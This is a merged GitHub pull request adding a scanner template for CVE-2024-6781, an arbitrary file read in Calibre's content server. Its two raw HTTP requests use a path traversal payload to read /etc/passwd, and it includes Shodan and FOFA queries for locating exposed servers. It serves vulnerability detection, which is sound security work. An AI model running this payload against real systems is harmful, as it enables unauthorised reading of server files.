Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2024-6781.yaml #10430

Merged
merged 4 commits into from
Aug 6, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
55 changes: 55 additions & 0 deletions http/cves/2024/CVE-2024-6781.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
id: CVE-2024-6781

info:
name: Calibre <= 7.14.0 Arbitrary File Read
author: DhiyaneshDK
severity: high
description: |
Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.
reference:
- https://starlabs.sg/advisories/24/24-6781/
metadata:
shodan-query: html:"Calibre"
fofa-query: "Server: calibre"
verified: true
max-requeset: 1
tags: cve,cve2024,calibre,lfi

http:
- raw:
- |
GET /interface-data/books-init HTTP/1.1
Host: {{Hostname}}

extractors:
- type: json
name: book_ids
internal: true
json:
- '.search_result.book_ids[0]'

- raw:
- |
POST /cdb/cmd/export HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""]

matchers-condition: and
matchers:
- type: word
part: content_type
words:
- "application/json"

- type: regex
part: body
regex:
- 'root:.*:0:0:'
- '"result":'
condition: and

- type: status
status:
- 200
Loading